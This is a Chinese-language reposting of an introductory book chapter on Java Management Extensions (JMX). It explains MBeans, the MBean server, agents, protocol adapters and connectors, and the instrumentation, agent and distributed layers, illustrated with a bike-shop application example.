管理系统侵入MBean 以访问MBean 的属性并调用MBean 的操作。本书涉及三种类型的MBean ：标准MBean （Standard MBean ）、动态MBean （Dynamic MBean ）和模型MBean （Model MBean ）。每一种MBean 在特定的场合都有自己的优势。MBean 驻留在另一个JMX 组件——MBean Server 中。
&&& MBean server 是一个Java 类，它管理一组MBean 。MBean server 是JMX 管理环境的中枢，它在查询MBean 中扮演注册表的角色。MBean server 向外暴露所有已经在它上注册的MBean 的接口，但是不会暴露这些MBean 对象的应用。此外，MBean server 向用户提供一致的接口，而无论侵入的MBean 是那种类型，它平等的对待所有的MBean 。MBean server 同时提供查询MBean 的方法和注册通知事件的方法。
&&& JMX 代理是一个Java 进程，它提供一组用于管理MBean 的服务，它是一个MBean Server 容器。JMX 提供的服务包括：创建MBean 关系服务、动态加载类服务、简单监控服务和时间服务。
JMX 代理拥有一组协议适配器和连接器，通过它们，远端的不同的客户端就可以使用JMX 代理。协议适配器和连接器是Java 类，通常是MBean ，可以在内部映射一个外部协议（如HTTP 或者SNMP ），或者将代理暴露给远程的连接（像RMI 或JNDI ），这些意味着可以通过不同的管理协议和工具来使用JMX 代理。
协议适配器和连接器驻留在JMX 代理中，它们将代理暴露给管理应用和协议。例如SNMP 可以使用SNMP 适配器将自己映射到JMX 代理。另外，JMX 代理还可以有一个RMI 连接器，以备使用RMI 客户端进行管理。协议适配器由代理端的一个单独对象组成，而连接器则由代理端和客户端的对象一同组成。
一个代理可以有任意数量的适配器和连接器，从而可以使用新工具或已存在的协议和应用来连接代理。这样不仅仅代理具有可扩展性，而且有了一种跨网络的分布式代理机制。
&&& 管理应用是任何用于连接到JMX 代理接口的用户程序。JMX 代理可以和那些特意设计以使用JMX 技术的应用以及设计时没有此方面考虑的应用一起工作。JMX 兼容的管理应用可以从JMX 高级特性中得到好处。通过对代理定制适配器和连接器就可以和一个既存的（非JMX ）管理系统交互。例如SNMP 管理系统可以通过创建一个SNMP 适配器，就可以和JMX 交互了。本书的以后章节，我们会涉及到RMI 、JNDI 、TCP 的连接器和适配器。
&&& 通知是Java 对象，由MBean 和MBeanServer 发送，包装了时间、通知和一般的信息。其他的MBean 或Java 对象可以注册一个监听器以接受通知。实际上，正如你后面在第6 章看到的那样，JMX 通知和Java 事件模型是类似的。
指令是通过MBean 暴露的可管理资源的一个处理过程。指令的开发可以伴随应用的开发，或者开发者可以使用正在使用的系统的API 创建MBean 。随后你会发现，通过选择合适的MBean 类型，可以很容易的只暴露应用和资源的一部分。
&&& J MX 架构是基于组件的，以构建灵活和可用的管理系统，这是通过为代理提供一个机制（MBean ）以让不同的协议和不同的机制可是到达。本节通过将JMX 结构分为三个主要层：设备层（instrumentation ）、代理层（agent ）、分布层（distributed ），通过使用一个简单的例子讨论每一层。表1.1 列出了各层和其简单介绍：
1.1 JMX 三层架构
（ Distributed layer ）
包含使管理系统和 JMX 代理通信的组件
（ Agent layer ）
包括代理和 MBean 服务器
（ Instrumentation layer ）
包括代表可管理资源的 MBean
每层都包括了一些我们已近讨论过的组件，但是你需要知道他们是怎么相互协作的。
&&& 为了更好的理解每一层以及把它们联系起来，我们会看一个简单的用例。假设自行车商店有一个服务器端的应用，由它来管理库存和供货商。这个应用会定期的跟踪销售、库存、订单，通过配置，可以使用不同的订单的格式、日志级别、调度基准等。因为应用对于业务是至关重要的，它需要在不宕机的情况下进行不同的配置。
就像很多类似情况一样，你可能希望有一个控制台，通过它你可以连接到应用来改变日志级别、校验流程或者存储位置。然而，一个业务可能有很多这样的应用，每一个都有自己的配置和管理工具，这种情况下，你不得不针对每一个应用，用它们自己的工具进行配置。作为整体管理这样一个系统是一件很郁闷的事情，就如图1.1 所示的那样。
一个有许多应用的环境，每一个都有自己的一套配置和管理工具
相反的，让我们从JMX 的视角来考虑这种场景。JMX 怎样使这哦异构管理系统更好的工作？首先使用MBean 对每个应用的管理接口建模，接着在JMX 代理中暴露这样MBean ，JMX 代理可以使用任何既存的协议，然后就可以通过一个统一的入口来控制应用。从用户的角度来看，是一个单独的管理应用，而不是一堆截然不同的管理组件。这种方式对应用套件的管理提供了一个一致并且健壮的解决方案。图1.2 说明了这个新的环境。
一个包含很多需要管理的应用，每一个都被自己的 MBean 表示。虚线框划分了 JMX 的三层架构
然我们看一个典型的数据存储应用的配置例子，假如用户需要改变应用的日志级别，需要以下步骤：
1.1用户打开他喜欢的管理工具并连接到JMX 代理。
2.1然后找到表示这个应用的那个MBean ，修改合适的日志级别。
3.1然后MBean 会自动和应用交互以配置它的日志级别。
以下的几节通过讨论以上每步中发生了那些事来进一部理解JMX 的各层。第一层是分布层。
&&& 分布层是JMX 架构的最外一层，分布层负责使JMX 代理对外部世界可用。有两种类型的分布式交互。第一种类型由适配器来实现，它通过HTTP 和SNMP 一类的协议提供了MBean 的可见性。第二种类型是连接器，它将代理的API 暴露给其他的分布式技术，如Java RMI 。事实上如下图3.1 所示，一个代理可以同时允许不同的技术在一起工作。适配器和连接器在JMX 环境中提供的是相同的作用，在写本书的时候，它们被分为两种类型，但是计划在下一个JMX 发行版时将它们统一称为适配器。
图 1.3 JMX 代理和适配器、连接器
前面的例子中的第一步：用户使用一个他们喜欢的工具连到JMX 代理，通过的就是这一层。JMX 代理包含可以管理自行车商店应用的MBean ，在分布式层，它包含了可使客户端通过浏览器、Java RMI 或SNMP 连到代理的组件（适配器和连接器）。如上图所示，用户的工具可以是JMX 兼容的工具或使用其他技术或协议的工具。
一旦连接到了代理，用户就可以使用管理工具和代理中的MBean 进行交互了。接下来，就进入代理层了。
&&& 代理层主要的组件是MBean 服务器，MBean 服务器供MBean 注册使用，它是JMX 代理的核心。同时代理层还提供四种可以更容易的管理MBean 的代理服务：时间服务、监视服务、动态MBean 装载服务和关系服务。
代理层提供侵入可管理资源的方式。JMX 代理可以运行在资源所在主机的JVM 上，也可以运行在远程的机器上。代理层不需要知道它所暴露的资源或那些使用MBean 的管理应用，它只提供一个服务，用来处理MBean ，以及通过连接器或适配器暴露的一系列的协议来操纵MBean 。
MBean 服务器和代理服务
第二步，用户找到了管理自行车商店应用配置的MBean ，之后，用户调用MBean 暴露的用以配置日志级别的操作，在这刻涉及到MBean 了，就进入了指令层。
&&& 指令层是最接近管理资源的一层，它由代理中注册的MBean 构成。MBean 使得资源可以通过代理来被管理。每一个Mbean 暴露底层管理资源的一部分配置或是一个功能，它以Java 对象的方式提供了对资源的管理。如果资源本身不是使用Java 的，MBean 就扮演了从代理到资源之间的一个转换器。
例如，如果有一个旧的应用，它通过查询数据表来进行管理，那么你可以构建一个MBean ，它通过JDBC 去数据读取数据或改变数据。应用不需要担心底层技术的构建，因为MBean 对他们进行了抽象。
MBean 是一个轻量级的对象，它知道怎么去使用、请求和操作它对应的资源，从而对代理和用户提供了侵入资源的能力。图1.5 展示了MBean 和资源的直接交互。
MBean 和它对应的资源的交互
如果你愿意，你可以构建一个MBean ，来管理一箩筐的应用，就像一个管理单元那样，这样就可以通过一次调用设置所有应用的日志级别了。例如你想改变数据库和应用的日志级别为调试模式，可以使用Mbean 来调用一个单独的应用去设置调试级别。即使和不同应用通信的底层技术是不同的，Mbean 也可以从管理系统抽象出，不同的技术将作为一个聚集单元出现。
例如自行车商店应用可以具备在交易处在一个错误的状态时收到通知的能力。对于错误的交易，应用可以将一个事件push 进它MBean ，Mbean 可以发送通知给感兴趣的客户端。
JMX 代理层用于构建应用是一个理想的工具，Mbean 服务器可以作为应用组件的骨架，应用如数据层、日子组件或者事务管理者之类的。通过将应用组件定义为MBean ，可以将应用的其他部分从组件的实现细节隔离开来，图1.6 说明了这个概念。
使用 MBean 构建应用
通过这种方式使用JMX ，以及通过定义对组件的MBean 定义接口，就可以很容易的创建应用来替换不同的组件实现。可以很容易的通过注册一个新的MBean 来添加一个新组件。
&&& 如果你担心使用一个新的管理框架是不是会被接受，本节可以使你消除这中担心。JMX 虽然是一个新技术，但是它已近被广泛的接受，用于配置应用服务器和构建管理工具。表1.2 列出了一些使用JMX 产品。
使用 JMX 的产品
WebLogic Application Server
BEA Systems
用于监视运行在服务器中的 J2EE 服务
JBoss Application Server
用于应用服务器架构和监视运行在服务器中的服务
Bluestone Application Server
Hewlett-Packard
用于配置应用服务器
Hewlett-Packard
Adventnet Manager
基于 JMX 的监视解决方案
JDMK (Java Dynamic Management Kit)
Sun Microsystems
构建 JMX 产品的开发组件集
Tivoli JMX
IBM 的 JMX 实现
本表只列出了开始使用JMX 的产品的一部分，随着J2EE 平台的越来越广泛的接受，JMX 将会成为管理解决方案的标准。
&&& Java 管理扩展（JMX ）API 现在是J2EE 平台的一个扩展。但是根据JSR000174 ，JMX 会成为J2SE 下一个版本的一部分。选择使用JMX 开发应用，可以在Java 社区得到足够的支持。不仅Sun 提供了一个JMX 的实现，IBM 也提供了一个实现。
需要应用服务器的开发商也在他们的产品内建对JMX 的直接支持。使用JBoss 或WebLogic 一类的应用服务器，可以在你的应用运行时得到JMX 的支持。即使你的应用服务器不支持JMX ，你也可以直接在你的应用中包含一个JMX 代理。在本书中，你将会看到这方面的例子。
&&& 到现在为止，你应该对资源管理的概念有一个基本的了解了，我们比较理想的资源管理和当前的资源管理，并且推荐了一个组合的可以在现实中实现管理方式。
JMX 提供了必须的服务以构建推荐的管理系统，它通过三层：指令层、代理层和分布层来提供提供这些服务。三层架构使得JMX 可以为任何管理环境提供一个可扩展的、灵活的管理系统
第二章通过一个典型的Hello World 例子开始JMX 学习之旅，你会创建一个简单的JMX 代理和第一个MBean 。
TA的最新馆藏[转]&
喜欢该文的人也喜欢